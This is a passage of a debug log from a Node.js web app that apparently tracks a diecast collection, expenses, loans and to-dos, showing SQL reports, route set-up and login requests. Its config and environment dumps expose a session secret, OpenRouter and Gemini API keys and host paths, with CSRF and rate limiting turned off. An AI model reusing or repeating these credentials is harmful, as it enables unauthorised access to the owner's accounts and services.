  { series: 98, name: 'HW Celebration Racers', total: 2 },
  { series: 99, name: 'HW 70s vs 90s', total: 2 },
  { series: 100, name: 'HW Track Champs', total: 2 },
  { series: 105, name: 'HW Art Cars', total: 2 },
  { series: 170, name: 'HW Exotics', total: 2 },
  { series: 83, name: 'Moving Parts', total: 2 },
  { series: 151, name: 'HW Rod Squad', total: 2 },
  { series: 159, name: 'HW Fan Driver', total: 1 },
  { series: 146, name: 'HW Track Aces', total: 1 },
  { series: 148, name: 'HW Wild Widebody', total: 1 },
  { series: 181, name: 'HW Pop Culture', total: 1 },
  { series: 180, name: 'HW Pantone', total: 1 },
  { series: 179, name: 'HW Euro', total: 1 },
  { series: 178, name: 'HW Ride-Ons', total: 1 },
  { series: 162, name: 'Neon Speeders - Mix 2', total: 1 },
  { series: 104, name: 'HW Wide Widebody', total: 1 },
  { series: 160, name: "HW Truckin' Along", total: 1 },
  { series: 144, name: 'HW Safari Mode', total: 1 },
  { series: 161, name: 'HW Batman', total: 1 },
  { series: 166, name: 'HW Experimotors', total: 1 },
  { series: 165, name: 'HW Metro', total: 1 },
  { series: 164, name: 'HW Nightspeed', total: 1 },
  { series: 163, name: 'HW Starting Grid', total: 1 }
]
2026-06-29T05:33:47.312Z server-connect:router Serving serverConnect /api/reports/diecast/by-manufacturer
2026-06-29T05:33:47.312Z server-connect:app Executing action step identify
2026-06-29T05:33:47.312Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:47.312Z server-connect:output identity: 1
2026-06-29T05:33:47.312Z server-connect:app Executing action step restrict
2026-06-29T05:33:47.312Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:47.312Z server-connect:output restrict: undefined
2026-06-29T05:33:47.313Z server-connect:app Executing action step custom
2026-06-29T05:33:47.313Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.brand_id\n' +
      'GROUP BY dc.brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-06-29T05:33:47.314Z server-connect:output list: [
  { brand_id: 71, name: 'Hotwheels', total: 84 },
  { brand_id: 72, name: 'Majorette', total: 46 },
  { brand_id: 73, name: 'Matchbox', total: 32 },
  { brand_id: 158, name: 'CCA', total: 3 },
  { brand_id: 74, name: 'Bburago', total: 1 },
  { brand_id: 191, name: 'Jams Toys', total: 1 }
]
2026-06-29T05:33:48.160Z server-connect:router Serving serverConnect /api/reports/diecast/by-vehicle-brand
2026-06-29T05:33:48.161Z server-connect:app Executing action step identify
2026-06-29T05:33:48.161Z server-connect:app options: { provider: 'security' }
2026-06-29T05:33:48.161Z server-connect:output identity: 1
2026-06-29T05:33:48.161Z server-connect:app Executing action step restrict
2026-06-29T05:33:48.161Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-06-29T05:33:48.161Z server-connect:output restrict: undefined
2026-06-29T05:33:48.161Z server-connect:app Executing action step custom
2026-06-29T05:33:48.161Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    dc.vehicle_brand_id,\n' +
      '    c.name,\n' +
      '    COUNT(*) AS total\n' +
      'FROM diecast_cars dc\n' +
      'LEFT JOIN collections c ON c.id = dc.vehicle_brand_id\n' +
      'WHERE dc.series <> 75\n' +
      'GROUP BY dc.vehicle_brand_id, c.name\n' +
      'ORDER BY total DESC;',
    params: []
  }
}
2026-06-29T05:33:48.163Z server-connect:output list: [
  { vehicle_brand_id: 142, name: 'Fantasy', total: 22 },
  { vehicle_brand_id: 108, name: 'Ford', total: 15 },
  { vehicle_brand_id: 130, name: 'Porsche', total: 9 },
  { vehicle_brand_id: 113, name: 'Mercedes', total: 8 },
  { vehicle_brand_id: 115, name: 'Lamborghini', total: 7 },
  { vehicle_brand_id: 116, name: 'Nissan', total: 6 },
  { vehicle_brand_id: 127, name: 'Dodge', total: 6 },
  { vehicle_brand_id: 118, name: 'Chevrolet', total: 6 },
  { vehicle_brand_id: 117, name: 'Land Rover', total: 4 },
  { vehicle_brand_id: 128, name: 'Alfa Romeo', total: 3 },
  { vehicle_brand_id: 112, name: 'Honda', total: 2 },
  { vehicle_brand_id: 122, name: 'Jeep', total: 2 },
  { vehicle_brand_id: 157, name: 'Masserti', total: 2 },
  { vehicle_brand_id: 133, name: 'Jaguar', total: 2 },
  { vehicle_brand_id: 109, name: 'Renault', total: 2 },
  { vehicle_brand_id: 140, name: 'GMC', total: 2 },
  { vehicle_brand_id: 137, name: 'Mazda', total: 2 },
  { vehicle_brand_id: 124, name: 'Ferrari', total: 2 },
  { vehicle_brand_id: 185, name: 'Lotus', total: 1 },
  { vehicle_brand_id: 186, name: 'Datsun', total: 1 },
  { vehicle_brand_id: 190, name: 'Plymouth', total: 1 },
  { vehicle_brand_id: 184, name: 'Lucid', total: 1 },
  { vehicle_brand_id: 183, name: 'Spider Man', total: 1 },
  { vehicle_brand_id: 189, name: 'RAM', total: 1 },
  { vehicle_brand_id: 129, name: 'Bugatti', total: 1 },
  { vehicle_brand_id: 132, name: 'Audi', total: 1 },
  { vehicle_brand_id: 119, name: 'Toyota', total: 1 },
  { vehicle_brand_id: 152, name: 'Corvette ', total: 1 },
  { vehicle_brand_id: 121, name: 'Peugeot', total: 1 },
  { vehicle_brand_id: 169, name: 'Cadillac', total: 1 },
  { vehicle_brand_id: 168, name: 'Pagani', total: 1 },
  { vehicle_brand_id: 167, name: 'Mcmurtry', total: 1 },
  { vehicle_brand_id: 126, name: 'BMW', total: 1 },
  { vehicle_brand_id: 125, name: 'Bentley', total: 1 },
  { vehicle_brand_id: 123, name: 'Volvo', total: 1 },
  { vehicle_brand_id: 139, name: 'Formula', total: 1 },
  { vehicle_brand_id: 138, name: 'Gordon Murray', total: 1 },
  { vehicle_brand_id: 134, name: 'Pontiac', total: 1 },
  { vehicle_brand_id: 136, name: 'Austin', total: 1 },
  { vehicle_brand_id: 135, name: 'Czinger', total: 1 }
]
2026-06-29T07:33:49.984Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T07:33:52.253Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T07:33:53.118Z server-connect:setup:upload Upload middleware configured.
2026-06-29T07:33:53.118Z server-connect:secure CSRF Protection initialized
2026-06-29T07:33:53.124Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T07:33:53.124Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T07:33:53.126Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T07:33:53.129Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T07:33:53.136Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T07:33:53.137Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T07:33:53.152Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T07:33:53.165Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T07:33:53.169Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T07:33:53.171Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T07:33:53.173Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T07:33:53.177Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T07:33:53.183Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T07:33:53.193Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T07:33:53.197Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T07:33:53.269Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T07:33:53.270Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T07:33:53.275Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T07:33:53.281Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T07:33:53.285Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T07:33:53.286Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T07:33:53.294Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T07:33:53.297Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T07:33:53.302Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T07:33:53.304Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T07:33:53.308Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T07:33:53.310Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T07:33:53.313Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T07:33:53.317Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T07:33:53.321Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T07:33:53.321Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T07:33:53.323Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T07:33:53.327Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T07:33:53.333Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T07:33:53.338Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T07:33:53.342Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T07:33:53.342Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T07:33:53.354Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T07:33:53.851Z server-connect:router Serving templateView /
2026-06-29T07:33:53.889Z server-connect:app Executing action step identify
2026-06-29T07:33:53.890Z server-connect:app options: { provider: 'security' }
2026-06-29T07:33:53.901Z server-connect:auth No login cookie found
2026-06-29T07:33:53.901Z server-connect:output identity: false
2026-06-29T07:33:53.901Z server-connect:app Executing action step restrict
2026-06-29T07:33:53.901Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T07:33:53.905Z server-connect:output restrict: undefined
2026-06-29T07:33:54.562Z server-connect:router Serving templateView /login
2026-06-29T07:33:54.562Z server-connect:app Executing action step identify
2026-06-29T07:33:54.563Z server-connect:app options: { provider: 'security' }
2026-06-29T07:33:54.563Z server-connect:auth No login cookie found
2026-06-29T07:33:54.563Z server-connect:output identity: false
2026-06-29T07:33:54.563Z server-connect:router Render template layouts/authentication
2026-06-29T07:33:54.563Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '205.210.31.182',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T07:33:54.560Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.210.31.182',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '205.210.31.182',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-29T09:38:36.777Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T09:38:38.849Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T09:38:39.710Z server-connect:setup:upload Upload middleware configured.
2026-06-29T09:38:39.710Z server-connect:secure CSRF Protection initialized
2026-06-29T09:38:39.716Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T09:38:39.717Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T09:38:39.719Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T09:38:39.722Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T09:38:39.727Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T09:38:39.733Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T09:38:39.744Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T09:38:39.758Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T09:38:39.762Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T09:38:39.763Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T09:38:39.765Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T09:38:39.771Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T09:38:39.775Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T09:38:39.786Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T09:38:39.789Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T09:38:39.797Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T09:38:39.798Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T09:38:39.803Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T09:38:39.809Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T09:38:39.812Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T09:38:39.815Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T09:38:39.821Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T09:38:39.825Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T09:38:39.831Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T09:38:39.831Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T09:38:39.836Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T09:38:39.839Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T09:38:39.843Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T09:38:39.848Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T09:38:39.850Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T09:38:39.850Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T09:38:39.853Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T09:38:39.858Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T09:38:39.858Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T09:38:39.866Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T09:38:39.869Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T09:38:39.871Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T09:38:39.882Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T09:38:40.369Z server-connect:router Serving templateView /
2026-06-29T09:38:40.372Z server-connect:app Executing action step identify
2026-06-29T09:38:40.372Z server-connect:app options: { provider: 'security' }
2026-06-29T09:38:40.374Z server-connect:auth No login cookie found
2026-06-29T09:38:40.374Z server-connect:output identity: false
2026-06-29T09:38:40.374Z server-connect:app Executing action step restrict
2026-06-29T09:38:40.374Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T09:38:40.378Z server-connect:output restrict: undefined
2026-06-29T09:38:40.482Z server-connect:router Serving templateView /login
2026-06-29T09:38:40.482Z server-connect:app Executing action step identify
2026-06-29T09:38:40.482Z server-connect:app options: { provider: 'security' }
2026-06-29T09:38:40.482Z server-connect:auth No login cookie found
2026-06-29T09:38:40.482Z server-connect:output identity: false
2026-06-29T09:38:40.482Z server-connect:router Render template layouts/authentication
2026-06-29T09:38:40.483Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.194.111',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-30T09:38:40.480Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.194.111',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.194.111',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-29T15:07:10.058Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-29T15:07:12.326Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-29T15:07:13.192Z server-connect:setup:upload Upload middleware configured.
2026-06-29T15:07:13.192Z server-connect:secure CSRF Protection initialized
2026-06-29T15:07:13.195Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-29T15:07:13.199Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-29T15:07:13.200Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-29T15:07:13.201Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-29T15:07:13.209Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-29T15:07:13.210Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-29T15:07:13.225Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-29T15:07:13.239Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-29T15:07:13.243Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-29T15:07:13.244Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-29T15:07:13.247Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-29T15:07:13.250Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-29T15:07:13.257Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-29T15:07:13.265Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-29T15:07:13.271Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-29T15:07:13.340Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-29T15:07:13.341Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-29T15:07:13.345Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-29T15:07:13.351Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-29T15:07:13.355Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-29T15:07:13.360Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-29T15:07:13.367Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-29T15:07:13.369Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-29T15:07:13.375Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-29T15:07:13.377Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-29T15:07:13.381Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-29T15:07:13.383Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-29T15:07:13.385Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-29T15:07:13.390Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-29T15:07:13.393Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-29T15:07:13.395Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-29T15:07:13.397Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-29T15:07:13.402Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-29T15:07:13.402Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-29T15:07:13.408Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-29T15:07:13.412Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-29T15:07:13.414Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-29T15:07:13.424Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-29T15:07:13.913Z server-connect:router Serving templateView /
2026-06-29T15:07:13.915Z server-connect:app Executing action step identify
2026-06-29T15:07:13.915Z server-connect:app options: { provider: 'security' }
2026-06-29T15:07:13.917Z server-connect:auth No login cookie found
2026-06-29T15:07:13.917Z server-connect:output identity: false
2026-06-29T15:07:13.917Z server-connect:app Executing action step restrict
2026-06-29T15:07:13.917Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-29T15:07:13.921Z server-connect:output restrict: undefined
2026-06-29T15:07:14.036Z server-connect:router Serving templateView /login
2026-06-29T15:07:14.037Z server-connect:app Executing action step identify
2026-06-29T15:07:14.037Z server-connect:app options: { provider: 'security' }
2026-06-29T15:07:14.037Z server-connect:auth No login cookie found
2026-06-29T15:07:14.037Z server-connect:output identity: false
2026-06-29T15:07:14.037Z server-connect:router Render template layouts/authentication
2026-06-29T15:07:14.038Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
